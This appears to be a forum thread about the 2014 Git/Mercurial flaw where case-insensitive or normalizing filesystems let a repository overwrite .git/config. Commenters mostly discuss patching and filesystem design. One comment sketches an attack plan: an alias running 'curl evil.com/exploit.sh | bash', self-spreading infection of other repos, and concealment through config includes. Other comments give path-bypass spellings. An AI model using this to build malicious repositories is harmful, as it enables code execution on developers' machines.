Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows.
Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone...
There's an analogous vulnerability in Mercurial.
Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties.
EDIT: right, no "or", what are you doing reading this instead of updating?
Yes, the actual vulnerability is that you can commit .Git/config or .gIt/config etc., and on case insensitive filesystem, checking that out will overwrite .git/config.
My quick an dirty (pun intended) experiment concluded that ntfs, while mounted on linux, is case-sensitive. Windows will happily list all files from fs in explorer, whatever case they are, but treat them as one. And this is deep in win32: http://i.imgur.com/sWnCMdq.png (that's cygwin, while on linux, I've put a `small` file in the `test` dir).
You can mount NTFS case sensitive, but you probably don't want case sensitivity if you interop with Windows and, if you don't, why on earth would you use NTFS?
NTFS is case sensitive. The Win32 layer presents NTFS as case preserving, but the NT POSIX layer (since renamed to SFU), as well as Cygwin, use NTFS's case sensitivity.
More to the point, the NTFS API can be both. And you can access that from Win32 code as well. There's also a registry flag to make NTFS case-sensitive by default.
I just quickly tested this on Windows 7. It showed both a directory for both spelling, but both of them contained the same content corresponding to one of the two directories.
Probably a fairly common case: I use git on a Linux VM running in a Mac OS X host machine, using an NFS synced folder to share files between the host and guest. It appears that in this case the guest machine uses the case insensitivity of the host file system, making git vulnerable even though it's running on Linux.
So, I guess people are going through old web server vulnerabilities such as trying to masquerade ".git/config" as ".git/../.git/config" or using different encodings for the same file to see which ones git falls for?
Also, can git run with .git/config being read only? That could be a useful second line of defense.
Why SourceForge? Since they changed investors a few years ago, I thought SourceForge now added spameare to installers, such as the Ask toolbar for example?
I think here is a good argument for not using case-insensitive filesystems - because every single filename comparison gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case-insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definition of "case" changes with locale, for instance. In contrast, with filenames that are treated as dumb and simple, plain sequences of bytes that just cannot contain certain characters (and thus compared accordingly for equality, bit-by-bit), there is no need to even consider the concept of "case", and no ambiguity: It either matches exactly or doesn't match.
(I am aware of all the - quite frankly ridiculous - complexity of Unicode characters that are visually identical and "should be treated as such for the purposes of comparison", but I think that's another example of excess complexity leading to things like directory-traversal attacks.)
This was actually a further bug, reported as part of the same CVE - you could also overwrite .git/config by adding any of a number of zero-width Unicode characters that many filesystems ignore when checking for filename equality (but string comparison doesn't, of course).
What seems really scary about this is that even Unicode has several different ways of comparing strings, and the correct one depends on the exact situation, so the common response of "just use a library" doesn't work; for example, if a user were searching for a filename it might make sense for full-width characters to compare equal to half-width ones, but not if opening a file where you wouldn't want e.g. the full width version of /etc/passwd to be equivalent to the half-width one.
Then you run into problems with how characters are represented. For instance, é (lowercase latin e with an acute accent) can be represented either by one unicode codepoint (U+00E9, 'LATIN SMALL LETTER E WITH ACUTE'), or by two unicode codepoints (U+0065 U+0301 -- LATIN SMALL LETTER E, COMBINING ACUTE ACCENT). There are normalization forms that will convert these two representations into the same representation for easier comparison.
If you don't perform canonical equivalence checking, you could search for "café" and not find a file named "café.txt" if it uses the other representation.
"for example, if a user were searching for a filename"
It's useful when I search for "café", if I also get results for "cafe" - Chrome's search does this. Not to mention searching for "don't" and getting hits including "don’t". But that should definitely be restricted to text data operations, rather than lower-level ones, including filenames.
But that should definitely be restricted to text data operations, rather than lower-level ones, including filenames.
The issue arises when this "text data" includes filenames. Having café.txt and cafe.txt be equivalent when searching is useful, but the real problem is if a filesystem decides that two "equivalent" filenames are essentially identical - to contrive an example, suppose it thought /étc/passwd was referring to the same file as /etc/passwd . It makes checking for and filtering out "sensitive" filenames far more difficult. For example, just take a look at all the ways Unicode homoglyphs and "special" characters can be used to bypass forum wordfilters, and you'll see how difficult that problem is.
(I know permissions, ACLs, etc. can help here with access control, but the problem of distinguishing between filenames still stands.)
I think the main argument against case-insensitivity is that every file system driver must contain a large [1] code blob that does the case-insensitive comparison. That blob cannot be shared between drives or with the OS because one must guarantee that it stays the same forever. It is almost a sure bet that case-insensitivity in NTFS is different from that in HFS+ (even disregarding their different canonicalization).
Directory-traversal attacks work just as well with ASCII or byte sequences.
[1] of course, what is large becomes less and less important over time, thanks to Moore's law. On embedded devices, this still may be quite significant, though.
I once tried to install OS X with case sensative filesystem. Turns out Photoshop for OS X does not work in that case. Had to go back to case-insensitive.
Not sure how many other apps have the same issue.
Steam on Linux does not. That probably means that Linux doesn't get any steam games that require a case-insensitive fs even if they would work otherwise (unity3d, monogame, ...), at least if there isn't a special linux version that does not require it.
The issue here is not case-insensitive filesystems, they are a huge benefit to novice users. But that the type system does not distinguish between paths and strings. A path is distinctly different from a string, and should never be compared as one. The type system should always enforce this and never allow you to mistakingly do the comparison you propose, for exactly the reasons you state. Modern filesystem libraries (for type-safe languages) do this, the problem is (as is becoming more and more common lately) the abundance of old tools that were not designed with security in mind.
As you point out, a path is different from a string. It makes sense in many cases to do a case-insensitive comparison on strings. It NEVER makes sense to do that on paths.
A path is an identifier. Just as it's infuriating and horrendous to have programming language identifiers act case-insensitively, it's a poor design choice to have path identifiers act case-insensitively.
I suspect that what you describe as a huge benefit to novice users is entirely seen in search functionality, where you are comparing a string (the search needle) against a number of paths (the haystack). Since this search should be conducted by converting the path to a string (never the other way around, that's nonsensical) it's perfectly natural to support CI operations on strings but forbid them on paths.
Can you elaborate on that experience? I would have thought users not typing filenames wouldn't care less, and that users who are typing filenames would tend to be developers or 'advanced' users who aren't confused by case-sensitivity, and recognise the advantages.
That's how I see it too - inexperienced users will only be typing in filenames to name new files and likely use a GUI filechooser for selecting existing ones, while the ones typing in filenames are probably using CLIs.
The common complaint "but it's annoying to have to type in the filenames exactly" can be solved with tab-completion (I'm surprised how many CLI users don't know their shell has this feature), and using sane naming conventions like not GiVinG yOuR fIleS_stUpiD-NaMESLikEth1s.
Users shouldn't have access to the filesystem. The usability issues are too significant even for competent users.
A good laugh/example: http://xkcd.com/1459/
The length at which I have to go to remember how to get stuff onto an ipad through itunes is an exercise that always reminds me that I always want access to the filesystem, even if I don't normally use it.
Ironically, Homebrew uses git to update its package metadata, but presumably you already trust Homebrew to not deliver malicious software (I also don't know if "pull" is vulnerable, or just "clone" and "checkout". Also Homebrew is hosted on Github, which now scans/blocks malicious repos)
Is package management really at issue here? For Apple supplied software, I think it really boils down to the same thing as other distros/OSes: timeliness of security updates. If Apple isn't able to spin out incremental security updates as quickly as other distributions, I'd say that process issue is the real problem.
Honestly, there's also something to be said for two-tier package management, ala OS X with Homebrew. Self-contained third party apps get a more managable space of base system profiles to target, and the installation UX can be as simple as drag/drop/app works. Us "special needs" users can then layer on and manage more esoteric and/or cutting-edge tools as needed with a full package manager. Heck, I was really glad to see Linuxbrew finally come to fruition for this very same reason. Have your cake and roll a newer-than-distro version of your tools too!
>Honestly, there's also something to be said for two-tier package management, ala OS X with Homebrew
Agreed, I really like the sound of that. Been aching for some time to have a stable base system like deb stable / slackware and then have my development toolchain specifically but other uses might surface / need bleeding edge.
fatal: unable to access 'https://github.com/Homebrew/homebrew/': The requested URL returned error: 503
Error: Failure while executing: git pull -q origin refs/heads/master:refs/remotes/origin/master
Weird, it's the first time it's ever happened.
edit: wait, it worked after a couple of tries; maybe it's due to panicked people updating brew\git?
Bear in mind if you use GitHub for Mac it includes it's own version of Git too. The latest version "Honourary Brit (194)" includes a patch for this fix.
Thanks for this. Might want to move the original /usr/bin/git out of the way, rather than outright deleting it, juuuuust in case you end up needing the original binary.
Things which transparently use Git on Windows seem likely to bundle their own copy of Git in their installer. I don't know of specific examples, but if this happens it may be trickier for average people to stay safe. Worse, I don't know how to generate a list of such programs.
Yes. This. I work in a fairly Enterprisey company that uses git as their VCS. I'm just hoping that IT is relatively calm about this and just pushes out updates/nags people about upgrading their git client.
Yeah, but typically you have a certain level of trust in your project dependencies. Adding a library to your project often means granting access to your system anyway (if the dependency contains executable code).
I don't think the GP should be downvoted. What you say is exactly correct - however - I can't even think of a time I've git cloned some piece of code and not proceeded to run some code from it at some point, typically on the same machine. I download code for the purpose of using it, and while I could hypothetically inspect the entire repository for malicious code, I don't think I'm unusual in not doing that on a regular basis.
I guess maybe Docker/Vagrant/etc. users don't normally run code directly on their development machine, so it can be high priority for them. But as someone who doesn't use these tools (not a web developer), for me the vulnerability is extremely low priority.
I think it is important to have this Git fix, because it lets people be careful if they choose. But in practice most people are _not_ careful, and will happily clone and run code without inspecting it (or pipe curl to bash!). It's almost impossible to do otherwise, as there are only so many hours in the day.
Ultimately I think we are mostly protected by the fact that this kind of attack is simply not all that common. And if it were done in a very widespread way, somebody would probably notice and the repo would come under scrutiny. It would probably be very effective as a directed attack against a small number of people, especially if the code you executed was sneaky (i.e., install a rootkit, not `rm -rf /`).
You can at least in theory inspect the library code after cloning it but before compiling it. Insta-owning your machine just because you cloned it is considerably worse. This is especially true if you always run the library in a sandbox of some sort (e.g. you're building an Android app and your code always runs on an Android device or emulator).
Oh yes, I suppose a bad build script could undo you. In the land of iOS there are sometimes "libraries" that are just distributed as source files that you add to your own project, so I suppose that at least would qualify.
Additionally, are you willing to bet that there are no buffer overflows in gcc, sed, awk, and whatever other tools you use to build software from git on a regular basis?
Heck, some of the Google security guys have been discovering lately that you can pwn someone just by getting them to run less on a file. How many people start by doing "less README"?
Git should ideally not have this vulnerability, but panicking over this seems overkill. If you want to suck down and work with large amounts of code from a possibly malicious source, you get into virtual machines territory.
For whatever it's worth, I just downloaded 1.9.5 for Windows from https://msysgit.github.io/. While the release notes don't mention "CVE-2014-9390" explicitly, it does say this:
One thing I want to know but haven't gotten around to figuring out who to ask is why msysgit is 1.x instead of 2.x? I saw some mention on their Github issue tracker that msysgit had been rebased on top of 2.x but the downloads don't seem to be updated.
I figured I could build from source if I really wanted and the downloads would be updated eventually but ... they have not.
Visual Studio is affected by this; Microsoft has released patches for Visual Studio 2013, Visual Studio 2013 Update 4 and an updated Git Provider for Visual Studio 2012. Users of Visual Studio are urged to apply an update.
> We have also completed an automated scan of all existing content on github.com to look for malicious content that might have been pushed to our site before this vulnerability was discovered
did they find any problems? The post doesn't say...
Vicent Marti (from GitHub) states: "In case it's not obvious from the post: There are no malicious repos in @github and they can't be pushed anymore. Update your Git anyway."
Which still doesn't say! That says there aren't any, but is silent on whether there were any. It's probably safe to assume that this is just clumsy wording and he meant to say that the scan found nothing, but it could also be a careful attempt at trying to sound like it says more than it really does.
* create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored"
* exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked)
* be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig
You don't even need to alias a typo - if the vulnerability allows to overwrite arbitrary files in the .git-directory, which is what it sounds like, you can just add a book that will be executed on each commit/fetch/push/etc...
Ouch! And I thought the OpenBSD people were paranoid for sticking with CVS. (because Git is too bloated and complex in their view, so they weren't able to review it thoroughly, which would have been the only way for them to trust it.)
I always get a strange, uneasy feeiling when the tin foil hats turn out to be right.
I wonder if they are right on GPG, too. For those who don't know this: The OpenBSD people refuse to sign their releases with that "far too complex" GPG tool, but created their own lightweight "signify" tool instead. [1]
And the case-sensitivity stuff is somewhat low-hanging fruit, but...
On Windows, certain path components that are different from ".git"
are mapped to ".git", e.g. "git~1/config" is treated as if it were
".git/config". HFS+ has a similar issue, where certain unicode
codepoints are ignored, e.g. ".g\u200cit/config" is treated as if
it were ".git/config"
Oh my lord. That's just Windows being vulnerable, rather than git though, right? No way every piece of Windows software protects adequately against that ... misfeature.
Nah. From a purist POV, you can sneer at this and say "Bah! Case-insensitive filesystems in 201X? I save `CAT` and that replaces `cat`? Save me, mighty failcats! Wherever else in CS do we accept such blatant approximations, instead of The One And Actual True Computational Result". And you would be mostly right (except for anything floating point).
The reality check is that neither Windows nor MacOS ambushed anyone with overnight with case-insensitivity. It's been there (as the default, right?), since "forever". Git officially supports Win & Mac. Git design already protected .git/config, just not in a sufficiently effective manner (as far as 2/3ds of their major distribution platforms are concerned - yes, the defaults are what you should assume everyone has). [1]
Fun estimate: A lot of technical/knowledgable MacOSX folks, especially in the Webdev/webdesign/etc industries, will have been vulnerable to this despite their personal preferences. Adobe Photoshop (and the others of the creative suite, I think) had a certain idiosyncratic behaviour[2] when certain conditions were not met[3]. You paid thousands for that broken installer/support and Richard Stallman weeps for you.
[1] Aside: You think Git is getting shafted by Windows/Mac implementation idiosyncrasies in this case? Then you'll love the favourite issue node.js on windows: "Breaks on large projects". This is essentially a side-effect of solving the dependency hell problem effectively - by nesting dependencies under a node_modules directory on both project and dependency levels - and insufficient intelligence to foresee that preserving path length is a viable goal in software design (in 200X, no less). Because, in sufficiently bloated projects, you can have enough nested node_modules/$name/node_..., that you literally blow Windows' fuse. But it's not a big deal, because that max path length is like some huge number, like 2^32 or some shit. Righ - 260 characters. 257 and C:\. Including slashes and all. So when node.js picked the completely reasonable "node_modules" as a dependency includes dir name, they should have known better - that their project would attract a huge audience and that sufficiently complicated/bloated packages would be created and distributed that their depencency-includes-dir-name selection would become a show-stopper, because one of our favourite OSes is still eating glue in the corner. And what didn't actually work? Not node. Not npm. Windows Explorer and other tools/utils that weren't updated to support NTFS' actual maximum path size - 32K. On the one hand, node.js github issues piling up ("FIXITTT!!!!") and on the other, Microsoft says "NTFS supporting 32K path length, while Windows Explorer supporting 260 chars, is not a bug. Repeat, not a bug."
[2] Didn't work at all. "It isn't a bug, it's a System Requirement."
[3] Case-insensitivity in the FS. Not just as a concept, but as a pre-requisite for installing an expensive class-A consumer design application. Really think about this. You've just paid between 3 and 4 digit sums for this single license. The installer creates a bunch of files, but for securitah(?) we randomize capitalization of all paths (!) so the only way this could possibly work is if the god damned filesystem is cool with the app sometimes requesting 'Data', others 'data', occasiionally (during rants, mostly) 'DATA', and every April Fools day, 'dAtA', and always getting back the (proper) 'daTA'. As a developer, isn't this about as desirable as trying to save "C:\programs I should delete.txt" and receiving a "C:\progra~2.txt" path in return? What the unholy fuck? I asked for a very specfic filename. Either error me outta here ('Sorry Dave, I can't do space') or do exactly as I said.
I get your point, but I wouldn't exactly decribe bash as "simple" (or even "good"). If it was, we wouldn't have seen modern attempts to approach this mess, such as dash.
OpenBSD uses OpenCVS, which would be safe from such a vulnerability by virtue of being non-portable and running only on file systems that OpenBSD supports, which are all case-sensitive. Thus this is yet another example of the security benefits of writing non-portable and maintainable software.
Wow downvoting because I ask for binaries instead of source? Majority of people reading this want a fast, immediate solution from a trustworthy source.
edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries
Please point to git binaries within the Github.com blog post. There are binaries for Github for Mac/Win, not git proper. I only found source code tarballs on Kernel.org, not binaries.
The blog post on Github.com only includes links to Github for Mac binaries, not git proper. The link in the blog post to kernel.org has tarballs of source, not binaries.
It also includes a link to msysgit for Windows. If you need some type of binary not listed, it would help if you mention what type of binaries you need.
It's more than just that. There are a number of additional checks that are performed for the benefit of various insane filesystems like HFS and NTFS. For example: HFS has several codepoints that are ignored for the purposes of name comparison; for example, U+200C. We need to protect against those, too, or else you could have ".git<U+200C>/config" in your repository that maps to ".git/config".
"Otherwise, an unsuspecting user can run git pull from an innocuous-looking-but-malicious repository and have the meta-information in her repository overwritten, or executable hooks installed by the owner of that repository she pulled from (i.e. an attacker)." [1]
You could pull down git hooks that root your box, pretty intense hack, update now!
Should programs periodically check for critical security fixes, and then refuse to run if the current version is affected?
It seems like there are a lot of people who don't really pay attention to social media or other security alert channels, who won't have a clue about the extent of this vulnerability. I'm sure they'd update if they knew "if I clone a malicious repo, I'm toast," but there's no way to inform them except by HN/Twitter/Reddit/mailing lists.
One could argue that they get what they deserve for being uninformed, but it seems like the ethical obligation might actually be on us to develop tools that ping home and ask whether it needs to stop working until it's updated.
Actually, I'm not sure it's ethical to embed such shutdown behavior into a tool that needs to be reliable. Maybe just a scary warning message like "This version is critically vulnerable, update immediately" every time the program runs would suffice.
I'm not sure how I feel about programs phoning home like that. I tolerate it with apps, but command line tools ought to be doing their stated function when run.
There was a discussion of this a few weeks ago on the mailinglist of a scientific software project I use. The people were very clearly divided into the "Flash does it, so it's ok" and "omg no, think of the user privacy" camps, it was quite interesting.
I think I'm much more ok with background things upgrading in the background. For instance: I never open a new browser tab and think "hmmm, lets launch a Flash process", it's just there, ready to respond when needed. So it isn't shocking to find that it polls for updates and applies them.
By contrast, git is a tool that I manually invoke on the command line, and when the process terminates it's done. Having that phone home at runtime feels more invasive.
A tool printing "This version has a critical vulnerability, upgrade immediately" wouldn't be confusing though, or cause any problems. Even if it wasn't connected to the network, it simply wouldn't print that message. Everything else would still work properly.
It seems like people are worried about privacy without thinking it through.
I think it's a distro's job to deal with it. The cli tool shouldn't phone home, but the distro should be able to be notified of a critical update and strongly warn you the next time you try to launch it.
It can be done in a way that preserves privacy:
Package manager regularly asks for compromise information. When programs run, they ask package manager if they are compromised.
I'm with you. I was really hoping today we'd see a fix in the Command Line Tools and existing XCode versions. How is Apple including the fix only in the next version (beta) a sufficient response?
Also case insensitive file systems has other problems with git, if your team has a sensitive one. Mac comes with defaulted to insensitive and that is not good.
I don't know - but in SourceTree's preferences, you can tell it to "Use System Git". On a Mac, if your system's git isn't what it ought to be, then do `brew install git` (assuming you have Homebrew installed) and make it use that git rather than the Apple one.
> Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem.
What about case-sensitive Mac file systems, like mine? I would imagine they are not vulnerable and that the author just overlooked this possibility in the article...
It looks like 2.2.1 is the latest source code version, but the builds for Windows and Mac are slightly behind. The windows download is 1.9.5, but was built 13 hours ago and has the fix.
Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone...
There's an analogous vulnerability in Mercurial.
Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties.
EDIT: right, no "or", what are you doing reading this instead of updating?